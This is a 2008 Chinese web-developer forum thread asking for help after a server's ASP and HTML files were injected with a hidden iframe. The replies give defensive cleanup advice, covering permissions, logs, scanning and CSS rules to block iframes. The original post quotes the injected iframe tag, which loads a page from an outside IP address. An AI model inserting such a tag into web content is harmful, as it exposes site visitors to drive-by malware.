紧急求救服务器网站都被插入木马

runtu 2008-10-24 05:26:53

服务器所有 asp html 文件都被插入 <iframe src="http://222.35.136.107/wwwroot/top.asp" width="100" height="0"></iframe>，代码删掉后，重新上传后，访问又出现了

...全文

193 27 打赏收藏转发到动态举报

写回复

用AI写文章

27 条回复

切换为时间正序

请发表友善的回复…

发表回复

zjzb0409 2008-10-27

打赏
举报

最好是断网后杀毒重做系统在杀毒如果只用网站开个80端口以及你需要的服务端口 21 等等以及将默认的远程端口3389 改一个怎么可以上百度收最后安装 arp防火墙金山还有卡巴斯基里都有 arp防火墙！你可以断网后讲插入的代码删除后使用本机 localhost 浏览！测试一下 arp 都是需要经过路由器连网后才能继续中毒！你在不使用网的情况下测试下！！还有就是其他朋友说的 ntfs 权限能改的都改为只读吧如果你服务器权限被人拿了还是在服务器安全上着手吧！！之前说的端口权限 arp防火墙杀毒软件

Mapleleaf123 2008-10-27

打赏
举报

自己也用木马，把这段代码清了先。。。
应该是服务器设置得不好~当然代码可能也有洞

李睿_Lee 2008-10-27

打赏
举报

还有，是不是服务器中毒了？查杀一下。

李睿_Lee 2008-10-27

打赏
举报

看日志，分析原因。找到原因才好对症下药。

zlhran 2008-10-27

打赏
举报

禁用fso是很不理智的那意味着所有上传功能都将失效

zlhran 2008-10-27

打赏
举报

查服务器日志先找出源头不要急着杀马先把目录权限除开上传文件文件夹其他全部设置只读权限然后杀马

Atai-Lu 2008-10-27

打赏
举报

呃...
这种没别的办法，只能一个一个文件的查，然后有问题的代码全删，有漏洞的地方都补上...

Joson.e8love 2008-10-27

打赏
举报

挂马 本身自己的程序有问题 



先解决 掉



其次有 简单方法 可以帮你 css (原理不用怎么说吧 IFRAME  script 同样被浏览器看出 html标签 )



在你的 CSS文件里写上 



/*<![CDATA[*/ 

iframe{vs:expression(this.src='about:blank',this.outerHTML='');}

#myiframe{vs:expression() !important} // 解决IFRAME 挂马

script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');} //解决 js马



/*]]>*/ 



如果你的页面用来iframe 就要把 你的iframe标签的 name 和Id 这样写



<IFRAME ID="myiframe" name="myiframe"

wanghui0380 2008-10-27

打赏
举报

首先是要确定问题。
你需要向服务器管理员提出申请，让他们检查服务器所有站

可以先用文件批替换工具，替换问题页面

然后装上这个文件写监控程序，监控所有写文件操作。一般能有两天就可以在监视日志中找到具体的漏洞页面。

这种东西一定要全服务器处理，一般只要一个站有问题，该服务器所有站都会被挂，所以单纯处理一个站不会有太大作用，也许实际根本就不是你的站的漏洞

mjjzg 2008-10-26

打赏
举报

这样看来应该是自动生成的,检查一下可执行文件

superbigbird 2008-10-26

打赏
举报

能够删除代码，应该不是arp欺骗，第一步，批量删除所有的恶意代码（有很多这样的小工具），第二步，查找服务器的所有文件里的上传目录，看看是否有上传了可执行的其他文件如asp，php等（注意查看某些伪装的图片，比如不能浏览的图片和某些图片的时间和文件格式等）。第三步，限制某些文件夹权限例如上传目录，某些只需要读即可等等。最后当然还可以根据各个网站为服务器设置不同用户的访问权限等等。主要的还是权限问题

lonaerd 2008-10-26

打赏
举报

兄弟，我曾经遇到和你同样的遭遇。
病毒一般注入index、default、conn 等关键文件，不论是静态和动态，都会写入病毒脚本。
首先，自己写个程序，将网站所有的文件中脚本清除（这个很容易了，文本操作，以关键字开头和结束，稍懂程序的都应该会）。
其次，利用ntfs的功能，加大硬盘访问权限。
最后，将这些index、default、conn 全部设为只读。

（当然，这些工作之前先杀毒）